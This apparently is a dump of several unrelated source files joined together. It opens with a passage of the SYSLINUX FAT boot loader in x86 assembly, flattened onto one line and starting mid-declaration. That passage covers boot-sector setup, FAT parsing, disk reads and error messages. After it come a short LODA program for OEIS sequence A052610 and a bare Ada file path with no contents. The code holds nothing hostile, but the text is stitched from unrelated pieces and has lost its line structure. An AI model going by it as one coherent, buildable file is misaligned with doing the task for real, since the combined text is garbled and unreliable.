VGA image name alignb 4 ; For the good of REP MOVSD command_line resb max_cmd_len+2 ; Command line buffer default_cmd resb max_cmd_len+1 ; "default" command line kern_cmd_len equ $-command_line section .text org 7C00h ; ; Some of the things that have to be saved very early are saved ; "close" to the initial stack pointer offset, in order to ; reduce the code size... ; StackBuf equ $-44-32 ; Start the stack here (grow down - 4K) PartInfo equ StackBuf ; Saved partition table entry FloppyTable equ PartInfo+16 ; Floppy info table (must follow PartInfo) OrigFDCTabPtr equ StackBuf-4 ; The high dword on the stack ; ; Primary entry point. Tempting as though it may be, we can't put the ; initial "cli" here; the jmp opcode in the first byte is part of the ; "magic number" (using the term very loosely) for the DOS superblock. ; bootsec equ $ jmp short start ; 2 bytes nop ; 1 byte ; ; "Superblock" follows -- it's in the boot sector, so it's already ; loaded and ready for us ; bsOemName db 'SYSLINUX' ; The SYS command sets this, so... ; ; These are the fields we actually care about. We end up expanding them ; all to dword size early in the code, so generate labels for both ; the expanded and unexpanded versions. ;; %macro superb 1 bx %+ %1 equ SuperInfo+($-superblock)*8+4 bs %+ %1 equ $ zb 1 %endmacro %macro superw 1 bx %+ %1 equ SuperInfo+($-superblock)*8 bs %+ %1 equ $ zw 1 %endmacro %macro superd 1 bx %+ %1 equ $ ; no expansion for dwords bs %+ %1 equ $ zd 1 %endmacro superblock equ $ superw BytesPerSec superb SecPerClust superw ResSectors superb FATs superw RootDirEnts superw Sectors superb Media superw FATsecs superw SecPerTrack superw Heads superinfo_size equ ($-superblock)-1 ; How much to expand superd Hidden superd HugeSectors superb DriveNumber superb Reserved1 superb BootSignature ; 29h if the following fields exist superd VolumeID bsVolumeLabel zb 11 bsFileSysType zb 8 ; Must be FAT12 or FAT16 for this version superblock_len equ $-superblock SecPerClust equ bxSecPerClust ; ; Note we don't check the constraints above now; we did that at install ; time (we hope!) ; ;floppy_table equ $ ; No sense in wasting memory, overwrite start start: cli ; No interrupts yet, please cld ; Copy upwards ; ; Set up the stack ; xor ax,ax mov ss,ax mov sp,StackBuf ; Just below BSS mov es,ax ; ; DS:SI may contain a partition table entry. Preserve it for us. ; mov cx,8 ; Save partition info mov di,sp rep movsw mov ds,ax ; Now we can initialize DS... mov [di+bsDriveNumber-FloppyTable],dl ; ; Now sautee the BIOS floppy info block to that it will support decent- ; size transfers; the floppy block is 11 bytes and is stored in the ; INT 1Eh vector (brilliant waste of resources, eh?) ; ; Of course, if BIOSes had been properly programmed, we wouldn't have ; had to waste precious space with this code. ; mov bx,fdctab lfs si,[bx] ; FS:SI -> original fdctab push fs ; Save on stack in case we need to bail push si ; Save the old fdctab even if hard disk so the stack layout ; is the same. The instructions above do not change the flags and dl,dl ; If floppy disk (00-7F), assume no ; partition table js harddisk floppy: mov cl,6 ; 12 bytes (CX == 0) ; es:di -> FloppyTable already ; This should be safe to do now, interrupts are off... mov [bx],di ; FloppyTable mov [bx+2],ax ; Segment 0 fs rep movsw ; Faster to move words mov cl,[bsSecPerTrack] ; Patch the sector count mov [di-8],cl ; AX == 0 here int 13h ; Some BIOSes need this jmp short not_harddisk ; ; The drive number and possibly partition information was passed to us ; by the BIOS or previous boot loader (MBR). Current "best practice" is to ; trust that rather than what the superblock contains. ; ; Would it be better to zero out bsHidden if we don't have a partition table? ; ; Note: di points to beyond the end of PartInfo ; harddisk: test byte [di-16],7Fh ; Sanity check: "active flag" should jnz no_partition ; be 00 or 80 mov eax,[di-8] ; Partition offset (dword) mov [bsHidden],eax no_partition: ; ; Get disk drive parameters (don't trust the superblock.) Don't do this for ; floppy drives -- INT 13:08 on floppy drives will (may?) return info about ; what the *drive* supports, not about the *media*. Fortunately floppy disks ; tend to have a fixed, well-defined geometry which is stored in the superblock. ; ; DL == drive # still mov ah,08h int 13h jc no_driveparm and ah,ah jnz no_driveparm shr dx,8 inc dx ; Contains # of heads - 1 mov [bsHeads],dx and cx,3fh mov [bsSecPerTrack],cx no_driveparm: not_harddisk: ; ; Ready to enable interrupts, captain ; sti ; ; Insane hack to expand the superblock to dwords ; expand_super: xor eax,eax mov es,ax ; INT 13:08 destroys ES mov si,superblock mov di,SuperInfo mov cl,superinfo_size ; CH == 0 .loop: lodsw dec si stosd ; Store expanded word xor ah,ah stosd ; Store expanded byte loop .loop ; ; Now we have to do some arithmetric to figure out where things are located. ; If Micro$oft had had brains they would already have done this for us, ; and stored it in the superblock at format time, but here we go, ; wasting precious boot sector space again... ; %define Z di-superinfo_size*8-SuperInfo debugentrypt: mov ax,[bxFATs] ; Number of FATs (eax<31:16> == 0) mov edx,[Z+bxFATsecs] ; Sectors/FAT mul edx ; Get the size of the FAT area ; edx <- 0 add eax,[bxHidden] ; Add hidden sectors add eax,[Z+bxResSectors] ; And reserved sectors mov [RootDir],eax ; Location of root directory mov [DataArea],eax ; First data sector push eax mov eax,[Z+bxRootDirEnts] shl ax,5 ; Size of a directory entry mov bx,[Z+bxBytesPerSec] add ax,bx ; Round up, not down dec ax div bx ; Now we have the size of the root dir mov [RootDirSize],ax mov [DirScanCtr],ax add bx,trackbuf-31 mov [Z+EndofDirSec],bx ; End of a single directory sector add [Z+DataArea],eax pop eax ; Reload root directory starting point ; ; Now the fun begins. We have to search the root directory for ; LDLINUX.SYS and load the first sector, so we have a little more ; space to have fun with. Then we can go chasing through the FAT. ; Joy!! ; sd_nextsec: push eax mov bx,trackbuf push bx call getonesec pop si sd_nextentry: mov cx,11 cmp [si],ch ; Directory high water mark je kaboom ; This no longer fits... since we'd be dead anyway if there ; was a nonfile named LDLINUX.SYS on the disk, it shouldn't ; matter... ; test byte [si+11],18h ; Must be a file ; jnz sd_not_file mov di,ldlinux_name push si repe cmpsb pop si je found_it sd_not_file: add si,byte 32 ; Distance to next cmp si,[EndofDirSec] jb sd_nextentry pop eax inc eax dec word [DirScanCtr] jnz sd_nextsec ; ; kaboom: write a message and bail out. ; kaboom: xor si,si mov ss,si mov sp,StackBuf-4 ; Reset stack mov ds,si ; Reset data segment pop dword [fdctab] ; Restore FDC table .patch: mov si,bailmsg call writestr ; Returns with AL = 0 cbw ; AH <- 0 int 16h ; Wait for keypress int 19h ; And try once more to boot... .norge: jmp short .norge ; If int 19h returned; this is the end ; ; found_it: now we compute the location of the first sector, then ; load it and JUMP (since we're almost out of space) ; found_it: ; Note: we actually leave two words on the stack here ; (who cares?) mov eax,[bxSecPerClust] mov bp,ax ; Load an entire cluster movzx ebx,word [si+26] ; First cluster mov [RunLinClust],bx ; Save for later use dec bx ; First cluster is "cluster 2" dec bx mul ebx add eax,[DataArea] mov bx,ldlinux_sys call getlinsec mov si,bs_magic mov di,ldlinux_magic mov cx,magic_len repe cmpsb ; Make sure that the bootsector jne kaboom ; matches LDLINUX.SYS ; ; Done! Jump to the entry point! ; jmp ldlinux_ent ; ; ; writestr: write a null-terminated string to the console ; This assumes we're on page 0. This is only used for early ; messages, so it should be OK. ; writestr: .loop: lodsb and al,al jz .return mov ah,0Eh ; Write to screen as TTY mov bx,0007h ; Attribute int 10h jmp short .loop .return: ret ; ; disk_error: decrement the retry count and bail if zero. ; This gets patched once we have more space to try to ; optimize transfer sizes on broken machines. ; disk_error: dec si ; SI holds the disk retry counter jz kaboom ; End of patched "call" instruction! jmp short disk_try_again ; ; getonesec: like getlinsec, but pre-sets the count to 1 ; getonesec: mov bp,1 ; Fall through to getlinsec ; ; getlinsec: load a sequence of BP floppy sector given by the linear sector ; number in EAX into the buffer at ES:BX. We try to optimize ; by loading up to a whole track at a time, but the user ; is responsible for not crossing a 64K boundary. ; (Yes, BP is weird for a count, but it was available...) ; ; On return, BX points to the first byte after the transferred ; block. ; ; The "stupid patch area" gets replaced by the code ; mov bp,1 ; nop ... (BD 01 00 90 90...) when installing with ; the -s option. ; ; This routine assumes CS == DS. ; ; Stylistic note: use "xchg" instead of "mov" when the source is a register ; that is dead from that point; this saves space. However, please keep ; the order to dst,src to keep things sane. ; getlinsec: mov esi,[bxSecPerTrack] ; ; Dividing by sectors to get (track,sector): we may have ; up to 2^18 tracks, so we need to use 32-bit arithmetric. ; xor edx,edx ; Zero-extend LBA to 64 bits div esi xor cx,cx xchg cx,dx ; CX <- sector index (0-based) ; EDX <- 0 ; eax = track # div dword [bxHeads] ; Convert track to head/cyl ; ; Now we have AX = cyl, DX = head, CX = sector (0-based), ; BP = sectors to transfer, SI = bsSecPerTrack, ; ES:BX = data target ; gls_nextchunk: push si ; <A> bsSecPerTrack push bp ; <B> Sectors to transfer ; Important - this gets patched with a call. The call ; assumes cx, si and bp are set up, and can modify bp ; and destroy si. Until we have the space to do so, ; transfer one sector at a time. gls_set_size: __BEGIN_STUPID_PATCH_AREA: mov bp,1 ; 3 bytes, same as a call insn __END_STUPID_PATCH_AREA: push ax ; <C> Cylinder # push dx ; <D> Head # push cx ; <E> Sector # shl ah,6 ; Because IBM was STOOPID ; and thought 8 bits were enough ; then thought 10 bits were enough... pop cx ; <E> Sector # push cx ; <E> Sector # inc cx ; Sector numbers are 1-based, sigh or cl,ah mov ch,al mov dh,dl mov dl,[bsDriveNumber] xchg ax,bp ; Sector to transfer count ; (xchg shorter than mov) mov si,retry_count ; # of times to retry a disk access ; ; Do the disk transfer... save the registers in case we fail :( ; disk_try_again: pusha ; <F> mov ah,02h ; READ DISK int 13h popa ; <F> jc disk_error ; ; Disk access successful ; pop cx ; <E> Sector # mov di,ax ; Reduce sector left count mul word [bsBytesPerSec] ; Figure out how much to advance ptr add bx,ax ; Update buffer location pop dx ; <D> Head # pop ax ; <C> Cyl # pop bp ; <B> Sectors left to transfer pop si ; <A> Number of sectors/track sub bp,di ; Reduce with # of sectors just read jz writestr.return ; Done! add cx,di cmp cx,si jb gls_nextchunk inc dx ; Next track on cyl cmp dx,[bsHeads] ; Was this the last one? jb gls_nonewcyl inc ax ; If so, new cylinder xor dx,dx ; First head on new cylinder gls_nonewcyl: sub cx,si ; First sector on new track jmp short gls_nextchunk bailmsg: db 'Boot failed', 0Dh, 0Ah, 0 bs_checkpt equ $ ; Must be <= 7DEFh %if 1 bs_checkpt_off equ ($-$$) %ifndef DEPEND %if bs_checkpt_off > 1EFh %error "Boot sector overflow" %endif %endif zb 1EFh-($-$$) %endif bs_magic equ $ ; From here to the magic_len equ ; must match ldlinux_magic ldlinux_name: db 'LDLINUX SYS' ; Looks like this in the root dir dd HEXDATE ; Hopefully unique between compiles bootsignature dw 0AA55h magic_len equ $-bs_magic ; ; =========================================================================== ; End of boot sector ; =========================================================================== ; Start of LDLINUX.SYS ; =========================================================================== ldlinux_sys: syslinux_banner db 0Dh, 0Ah %if IS_MDSLINUX db 'MDSLINUX ' %else db 'SYSLINUX ' %endif db version_str, ' ', date, ' ', 0 db 0Dh, 0Ah, 1Ah ; EOF if we "type" this in DOS ldlinux_magic db 'LDLINUX SYS' dd HEXDATE dw 0AA55h ; ; This area is possibly patched by the installer. It is located ; immediately after the EOF + LDLINUX SYS + 4 bytes + 55 AA + alignment, ; so we can find it algorithmically. ; alignb 4, db 0 MaxTransfer dw 00FFh ; Absolutely maximum transfer size align 4 ldlinux_ent: ; ; Note that some BIOSes are buggy and run the boot sector at 07C0:0000 ; instead of 0000:7C00 and the like. We don't want to add anything ; more to the boot sector, so it is written to not assume a fixed ; value in CS, but we don't want to deal with that anymore from now ; on. ; jmp 0:.next .next: ; ; Tell the user we got this far ; mov si,syslinux_banner call writestr ; ; Remember, the boot sector loaded only the first cluster of LDLINUX.SYS. ; We can really only rely on a single sector having been loaded. Hence ; we should load the FAT into RAM and start chasing pointers... ; xor ax,ax cwd inc dx ; DX:AX <- 64K div word [bxBytesPerSec] ; sectors/64K mov si,ax push es mov bx,fat_seg ; Load into fat_seg:0000 mov es,bx mov eax,[bsHidden] ; Hidden sectors add edx,[bxResSectors] add eax,edx mov ecx,[bxFATsecs] ; Sectors/FAT fat_load_loop: mov ebp,ecx ; Make sure high EBP = 0 cmp bp,si jna fat_load mov bp,si ; A full 64K moby fat_load: xor bx,bx ; Offset 0 in the current ES call getlinsecsr sub cx,bp jz fat_load_done ; Last moby? add eax,ebp ; Advance sector count mov bx,es ; Next 64K moby add bx,1000h mov es,bx jmp short fat_load_loop fat_load_done: pop es ; ; Fine, now we have the FAT in memory. How big is a cluster, really? ; Also figure out how many clusters will fit in an 8K buffer, and how ; many sectors and bytes that is ; mov edi,[bxBytesPerSec] ; Used a lot below mov eax,[SecPerClust] mov si,ax ; Also used a lot mul di mov [ClustSize],eax ; Bytes/cluster mov bx,ax mov ax,trackbufsize ; High bit 0 cwd div bx mov [BufSafe],ax ; # of cluster in trackbuf mul si mov [BufSafeSec],ax mul di mov [BufSafeBytes],ax add ax,getcbuf ; Size of getcbuf is the same mov [EndOfGetCBuf],ax ; as for trackbuf ; ; FAT12 or FAT16? This computation is fscking ridiculous... ; mov eax,[bxSectors] and ax,ax jnz have_secs mov eax,[bsHugeSectors] have_secs: add eax,[bsHidden] ; These are not included sub eax,[RootDir] ; Start of root directory movzx ebx,word [RootDirSize] sub eax,ebx ; Subtract root directory size xor edx,edx div esi ; Convert to clusters cmp ax,4086 ; FAT12 limit jna is_fat12 ; Patch the jump mov byte [nextcluster+1],nextcluster_fat16-(nextcluster+2) is_fat12: ; ; Patch gls_set_size so we can transfer more than one sector at a time. ; mov byte [gls_set_size],0xe8 ; E8 = CALL NEAR mov word [gls_set_size+1],do_gls_set_size-(gls_set_size+3) mov byte [disk_error],0xe8 mov word [disk_error+1],do_disk_error-(disk_error+3) ; ; Now we read the rest of LDLINUX.SYS. Don't bother loading the first ; cluster again, though. ; load_rest: mov cx,[ClustSize] mov bx,ldlinux_sys add bx,cx mov si,[RunLinClust] call nextcluster xor dx,dx mov ax,ldlinux_len-1 ; To be on the safe side add ax,cx div cx ; the number of clusters dec ax ; We've already read one jz all_read_jmp mov cx,ax call getfssec ; ; All loaded up ; all_read_jmp: jmp all_read ; ; ----------------------------------------------------------------------------- ; Subroutines that have to be in the first sector ; ----------------------------------------------------------------------------- ; ; getfssec: Get multiple clusters from a file, given the starting cluster. ; ; This routine makes sure the subtransfers do not cross a 64K boundary, ; and will correct the situation if it does, UNLESS *sectors* cross ; 64K boundaries. ; ; ES:BX -> Buffer ; SI -> Starting cluster number (2-based) ; CX -> Cluster count (0FFFFh = until end of file) ; ; Returns CF=1 on EOF ; getfssec: .getfragment: xor ebp,ebp ; Fragment sector count lea eax,[si-2] ; Get 0-based sector address mul dword [SecPerClust] add eax,[DataArea] .getseccnt: ; See if we can read > 1 clust add bp,[SecPerClust] dec cx ; Reduce clusters left to find lea di,[si+1] call nextcluster cmc jc .eof ; At EOF? jcxz .endfragment ; Or was it the last we wanted? cmp si,di ; Is file continuous? je .getseccnt ; Yes, we can get .endfragment: clc ; Not at EOF .eof: pushf ; Remember EOF or not push si push cx .getchunk: push eax mov ax,es ; Check for 64K boundaries. shl ax,4 add ax,bx xor dx,dx neg ax setz dl ; DX <- 1 if full 64K segment div word [bsBytesPerSec] ; How many sectors fit? mov si,bp sub si,ax ; Compute remaining sectors jbe .lastchunk mov bp,ax pop eax call getlinsecsr add eax,ebp ; EBP<31:16> == 0 mov bp,si ; Remaining sector count jmp short .getchunk .lastchunk: pop eax call getlinsec pop cx pop si popf jcxz .return ; If we hit the count limit jnc .getfragment ; If we didn't hit EOF .return: ret ; ; getlinsecsr: save registers, call getlinsec, restore registers ; getlinsecsr: pushad call getlinsec popad ret ; ; nextcluster: Advance a cluster pointer in SI to the next cluster ; pointed at in the FAT tables. CF=0 on return if end of file. ; nextcluster: jmp short nextcluster_fat12 ; This gets patched nextcluster_fat12: push bx push ds mov bx,fat_seg mov ds,bx mov bx,si ; Multiply by 3/2 shr bx,1 ; CF now set if odd mov si,[si+bx] jnc nc_even shr si,4 ; Needed for odd only nc_even: and si,0FFFh cmp si,0FF0h ; Clears CF if at end of file pop ds pop bx nc_return: ret ; ; FAT16 decoding routine. Note that a 16-bit FAT can be up to 128K, ; so we have to decide if we're in the "low" or the "high" 64K-segment... ; nextcluster_fat16: push ax push ds mov ax,fat_seg shl si,1 jnc .seg0 mov ax,fat_seg+1000h .seg0: mov ds,ax mov si,[si] cmp si,0FFF0h pop ds pop ax ret ; ; Routine that controls how much we can transfer in one chunk. Called ; from gls_set_size in getlinsec. ; do_gls_set_size: sub si,cx ; Sectors left on track cmp bp,si jna .lastchunk mov bp,si ; No more than a trackful, please! .lastchunk: cmp bp,[MaxTransfer] ; Absolute maximum transfer size jna .oktransfer mov bp,[MaxTransfer] .oktransfer: ret ; ; This routine captures disk errors, and tries to decide if it is ; time to reduce the transfer size. ; do_disk_error: dec si ; Decrement the retry counter jz kaboom ; If expired, croak cmp si,2 ; If only 2 attempts left ja .nodanger mov al,1 ; Drop transfer size to 1 jmp short .setsize .nodanger: cmp si,retry_count-2 ja .again ; First time, just try again shr al,1 ; Otherwise, try to reduce adc al,0 ; the max transfer size, but not to 0 .setsize: mov [MaxTransfer],al .again: ret ; ; Debug routine ; %ifdef debug safedumpregs: cmp word [Debug_Magic],0D00Dh jnz nc_return jmp dumpregs %endif rl_checkpt equ $ ; Must be <= 8000h rl_checkpt_off equ ($-$$) %ifndef DEPEND %if rl_checkpt_off > 400h %error "Sector 1 overflow" %endif %endif ; ---------------------------------------------------------------------------- ; End of code and data that have to be in the first sector ; ---------------------------------------------------------------------------- all_read: ; ; Let the user (and programmer!) know we got this far. This used to be ; in Sector 1, but makes a lot more sense here. ; mov si,copyright_str call writestr ; ; Common initialization code ; %include "cpuinit.inc" ; ; Initialization that does not need to go into the any of the pre-load ; areas ; ; Now set up screen parameters call adjust_screen ; Wipe the F-key area mov al,NULLFILE mov di,FKeyName mov cx,10*(1 << FILENAME_MAX_LG2) rep stosb ; ; Now, everything is "up and running"... patch kaboom for more ; verbosity and using the full screen system ; ; E9 = JMP NEAR mov dword [kaboom.patch],0e9h+((kaboom2-(kaboom.patch+3)) << 8) ; ; Compute some parameters that depend on cluster size ; xor eax,eax cwd ; DX <- 0 inc dx ; DX:AX <- 64K div word [ClustSize] mov [ClustPerMoby],eax ; Clusters/64K ; ; Now we're all set to start with our *real* business. First load the ; configuration file (if any) and parse it. ; ; In previous versions I avoided using 32-bit registers because of a ; rumour some BIOSes clobbered the upper half of 32-bit registers at ; random. I figure, though, that if there are any of those still left ; they probably won't be trying to install Linux on them... ; ; The code is still ripe with 16-bitisms, though. Not worth the hassle ; to take'm out. In fact, we may want to put them back if we're going ; to boot ELKS at some point. ; mov si,linuxauto_cmd ; Default command: "linux auto" mov di,default_cmd mov cx,linuxauto_len rep movsb mov di,KbdMap ; Default keymap 1:1 xor al,al inc ch ; CX <- 256 mkkeymap: stosb inc al loop mkkeymap ; ; Load configuration file ; mov di,syslinux_cfg call open jz no_config_file ; ; Now we have the config file open. Parse the config file and ; run the user interface. ; %include "ui.inc" ; ; Linux kernel loading code is common. ; %include "runkernel.inc" ; ; COMBOOT-loading code ; %include "comboot.inc" %include "com32.inc" %include "cmdline.inc" ; ; Boot sector loading code ; %include "bootsect.inc" ; ; abort_check: let the user abort with <ESC> or <Ctrl-C> ; abort_check: call pollchar jz ac_ret1 pusha call getchar cmp al,27 ; <ESC> je ac_kill cmp al,3 ; <Ctrl-C> jne ac_ret2 ac_kill: mov si,aborted_msg ; ; abort_load: Called by various routines which wants to print a fatal ; error message and return to the command prompt. Since this ; may happen at just about any stage of the boot process, assume ; our state is messed up, and just reset the segment registers ; and the stack forcibly. ; ; SI = offset (in _text) of error message to print ; abort_load: mov ax,cs ; Restore CS = DS = ES mov ds,ax mov es,ax cli mov sp,StackBuf-2*3 ; Reset stack mov ss,ax ; Just in case... sti call cwritestr ; Expects SI -> error msg al_ok: jmp enter_command ; Return to command prompt ; ; End of abort_check ; ac_ret2: popa ac_ret1: ret ; ; searchdir: Search the root directory for a pre-mangled filename in ; DS:DI. This routine is similar to the one in the boot ; sector, but is a little less Draconian when it comes to ; error handling, plus it reads the root directory in ; larger chunks than a sector at a time (which is probably ; a waste of coding effort, but I like to do things right). ; ; FIXME: usually we can load the entire root dir in memory, ; and files are usually at the beginning anyway. It probably ; would be worthwhile to remember if we have the first chunk ; in memory and skip the load if that (it would speed up online ; help, mainly.) ; ; NOTE: This file considers finding a zero-length file an ; error. This is so we don't have to deal with that special ; case elsewhere in the program (most loops have the test ; at the end). ; ; If successful: ; ZF clear ; SI = cluster # for the first cluster ; DX:AX = file length in bytes ; If unsuccessful ; ZF set ; searchdir: push bp mov ax,[bsRootDirEnts] mov [DirScanCtr],ax mov ax,[RootDirSize] mov [DirBlocksLeft],ax mov eax,[RootDir] scan_group: movzx ebp,word [DirBlocksLeft] and bp,bp jz dir_return cmp bp,[BufSafeSec] jna load_last mov bp,[BufSafeSec] load_last: sub [DirBlocksLeft],bp push eax mov ax,[bsBytesPerSec] mul bp add ax,trackbuf-31 mov [EndofDirSec],ax ; End of loaded pop eax mov bx,trackbuf call getlinsecsr mov si,trackbuf dir_test_name: cmp byte [si],0 ; Directory high water mark je dir_return ; Failed test byte [si+11],18h ; Check it really is a file jnz dir_not_this push di push si mov cx,11 ; Filename = 11 bytes repe cmpsb pop si pop di je dir_success dir_not_this: add si,byte 32 dec word [DirScanCtr] jz dir_return ; Out of it... cmp si,[EndofDirSec] jb dir_test_name add eax,ebp ; Increment linear sector number jmp short scan_group dir_success: mov ax,[si+28] ; Length of file mov dx,[si+30] mov si,[si+26] ; Cluster pointer mov bx,ax or bx,dx ; Sets ZF iff DX:AX is zero dir_return: pop bp ret ; ; writechr: Write a single character in AL to the console without ; mangling any registers; handle video pages correctly. ; writechr: call write_serial ; write to serial port if needed pushfd pushad mov ah,0Eh mov bl,07h ; attribute mov bh,[cs:BIOS_page] ; current page int 10h popad popfd ret ; ; ; kaboom2: once everything is loaded, replace the part of kaboom ; starting with "kaboom.patch" with this part kaboom2: mov si,err_bootfailed call cwritestr call getchar call vgaclearmode int 19h ; And try once more to boot... .norge: jmp short .norge ; If int 19h returned; this is the end ; ; mangle_name: Mangle a DOS filename pointed to by DS:SI into a buffer pointed ; to by ES:DI; ends on encountering any whitespace ; mangle_name: mov cx,11 ; # of bytes to write mn_loop: lodsb cmp al,' ' ; If control or space, end jna mn_end cmp al,'.' ; Period -> space-fill je mn_is_period cmp al,'a' jb mn_not_lower cmp al,'z' ja mn_not_uslower sub al,020h jmp short mn_not_lower mn_is_period: mov al,' ' ; We need to space-fill mn_period_loop: cmp cx,3 ; If <= 3 characters left jbe mn_loop ; Just ignore it stosb ; Otherwise, write a period loop mn_period_loop ; Dec CX and (always) jump mn_not_uslower: cmp al,ucase_low jb mn_not_lower cmp al,ucase_high ja mn_not_lower mov bx,ucase_tab-ucase_low cs xlatb mn_not_lower: stosb loop mn_loop ; Don't continue if too long mn_end: mov al,' ' ; Space-fill name rep stosb ; Doesn't do anything if CX=0 ret ; Done ; ; Upper-case table for extended characters; this is technically code page 865, ; but code page 437 users will probably not miss not being able to use the ; cent sign in kernel images too much :-) ; ; The table only covers the range 129 to 164; the rest we can deal with. ; ucase_low equ 129 ucase_high equ 164 ucase_tab db 154, 144, 'A', 142, 'A', 143, 128, 'EEEIII' db 142, 143, 144, 146, 146, 'O', 153, 'OUUY', 153, 154 db 157, 156, 157, 158, 159, 'AIOU', 165 ; ; unmangle_name: Does the opposite of mangle_name; converts a DOS-mangled ; filename to the conventional representation. This is needed ; for the BOOT_IMAGE= parameter for the kernel. ; NOTE: A 13-byte buffer is mandatory, even if the string is ; known to be shorter. ; ; DS:SI -> input mangled file name ; ES:DI -> output buffer ; ; On return, DI points to the first byte after the output name, ; which is set to a null byte. ; unmangle_name: push si ; Save pointer to original name mov cx,8 mov bp,di un_copy_body: lodsb call lower_case stosb cmp al,' ' jbe un_cb_space mov bp,di ; Position of last nonblank+1 un_cb_space: loop un_copy_body mov di,bp mov al,'.' ; Don't save stosb mov cx,3 un_copy_ext: lodsb call lower_case stosb cmp al,' ' jbe un_ce_space mov bp,di un_ce_space: loop un_copy_ext mov di,bp mov byte [es:di], 0 pop si ret ; ; lower_case: Lower case a character in AL ; lower_case: cmp al,'A' jb lc_ret cmp al,'Z' ja lc_1 or al,20h ret lc_1: cmp al,lcase_low jb lc_ret cmp al,lcase_high ja lc_ret push bx mov bx,lcase_tab-lcase_low cs xlatb pop bx lc_ret: ret ; ----------------------------------------------------------------------------- ; Common modules ; ----------------------------------------------------------------------------- %include "getc.inc" ; getc et al %include "conio.inc" ; Console I/O %include "writestr.inc" ; String output %include "parseconfig.inc" ; High-level config file handling %include "parsecmd.inc" ; Low-level config file handling %include "bcopy32.inc" ; 32-bit bcopy %include "loadhigh.inc" ; Load a file into high memory %include "font.inc" ; VGA font stuff %include "graphics.inc" ; VGA graphics %include "highmem.inc" ; High memory sizing ; ----------------------------------------------------------------------------- ; Begin data section ; ----------------------------------------------------------------------------- CR equ 13 ; Carriage Return LF equ 10 ; Line Feed FF equ 12 ; Form Feed BS equ 8 ; Backspace ; ; Lower-case table for codepage 865 ; lcase_low equ 128 lcase_high equ 165 lcase_tab db 135, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138 db 139, 140, 141, 132, 134, 130, 145, 145, 147, 148, 149 db 150, 151, 152, 148, 129, 155, 156, 155, 158, 159, 160 db 161, 162, 163, 164, 164 copyright_str db ' Copyright (C) 1994-', year, ' <NAME>' db CR, LF, 0 boot_prompt db 'boot: ', 0 wipe_char db BS, ' ', BS, 0 err_notfound db 'Could not find kernel image: ',0 err_notkernel db CR, LF, 'Invalid or corrupt kernel image.', CR, LF, 0 err_noram db 'It appears your computer has less than ' asciidec dosram_k db 'K of low ("DOS")' db CR, LF db 'RAM. Linux needs at least this amount to boot. If you get' db CR, LF db 'this message in error, hold down the Ctrl key while' db CR, LF db 'booting, and I will take your word for it.', CR, LF, 0 err_badcfg db 'Unknown keyword in syslinux.cfg.', CR, LF, 0 err_noparm db 'Missing parameter in syslinux.cfg.', CR, LF, 0 err_noinitrd db CR, LF, 'Could not find ramdisk image: ', 0 err_nohighmem db 'Not enough memory to load specified kernel.', CR, LF, 0 err_highload db CR, LF, 'Kernel transfer failure.', CR, LF, 0 err_oldkernel db 'Cannot load a ramdisk with an old kernel image.' db CR, LF, 0 err_notdos db ': attempted DOS system call', CR, LF, 0 err_comlarge db 'COMBOOT image too large.', CR, LF, 0 err_a20 db CR, LF, 'A20 gate not responding!', CR, LF, 0 err_bootfailed db CR, LF, 'Boot failed: please change disks and press ' db 'a key to continue.', CR, LF, 0 ready_msg db 'Ready.', CR, LF, 0 crlfloading_msg db CR, LF loading_msg db 'Loading ', 0 dotdot_msg db '.' dot_msg db '.', 0 aborted_msg db ' aborted.' ; Fall through to crlf_msg! crlf_msg db CR, LF null_msg db 0 crff_msg db CR, FF, 0 syslinux_cfg db 'SYSLINUXCFG' %if IS_MDSLINUX manifest db 'MANIFEST ' %endif ; ; Command line options we'd like to take a look at ; ; mem= and vga= are handled as normal 32-bit integer values initrd_cmd db 'initrd=' initrd_cmd_len equ 7 ; ; Config file keyword table ; %include "keywords.inc" ; ; Extensions to search for (in *forward* order). ; exten_table: db 'CBT',0 ; COMBOOT (specific) db 'BSS',0 ; Boot Sector (add superblock) db 'BS ',0 ; Boot Sector db 'COM',0 ; COMBOOT (same as DOS) db 'C32',0 ; COM32 exten_table_end: dd 0, 0 ; Need 8 null bytes here ; ; Misc initialized (data) variables ; %ifdef debug ; This code for debugging only debug_magic dw 0D00Dh ; Debug code sentinel %endif AppendLen dw 0 ; Bytes in append= command OntimeoutLen dw 0 ; Bytes in ontimeout command OnerrorLen dw 0 ; Bytes in onerror command KbdTimeOut dw 0 ; Keyboard timeout (if any) CmdLinePtr dw cmd_line_here ; Command line advancing pointer initrd_flag equ $ initrd_ptr dw 0 ; Initial ramdisk pointer/flag VKernelCtr dw 0 ; Number of registered vkernels ForcePrompt dw 0 ; Force prompt AllowImplicit dw 1 ; Allow implicit kernels AllowOptions dw 1 ; User-specified options allowed SerialPort dw 0 ; Serial port base (or 0 for no serial port) VGAFontSize dw 16 ; Defaults to 16 byte font UserFont db 0 ; Using a user-specified font ScrollAttribute db 07h ; White on black (for text mode) ; ; Stuff for the command line; we do some trickery here with equ to avoid ; tons of zeros appended to our file and wasting space ; linuxauto_cmd db 'linux auto',0 linuxauto_len equ $-linuxauto_cmd boot_image db 'BOOT_IMAGE=' boot_image_len equ $-boot_image ldlinux_end equ $ ldlinux_len equ $-ldlinux_magic ; ; Put the getcbuf right after the code, aligned on a sector boundary ; end_of_code equ (ldlinux_end-bootsec)+7C00h getcbuf equ (end_of_code + 511) & 0FE00h ; VGA font buffer at the end of memory (so loading a font works even ; in graphics mode.) vgafontbuf equ 0E000h ; This is a compile-time assert that we didn't run out of space %ifndef DEPEND %if (getcbuf+trackbufsize) > vgafontbuf %error "Out of memory, better reorganize something..." %endif %endif
oeis/052/A052610.asm
neoneye/loda-programs
11
14130
<filename>oeis/052/A052610.asm ; A052610: E.g.f. 1/(1-x-2x^3). ; Submitted by <NAME>(s3) ; 1,1,2,18,120,840,9360,115920,1491840,22861440,395539200,7304774400,148011494400,3281639961600,77850214041600,1975895970048000,53666956062720000,1547595999645696000,47204701332332544000 mov $2,$0 seq $0,77949 ; Expansion of 1/(1-x-2*x^3). lpb $2 mul $0,$2 sub $2,1 lpe
3-mid/opengl/source/lean/shader/opengl-program-lit-textured_skinned.adb
charlie5/lace-alire
1
11951
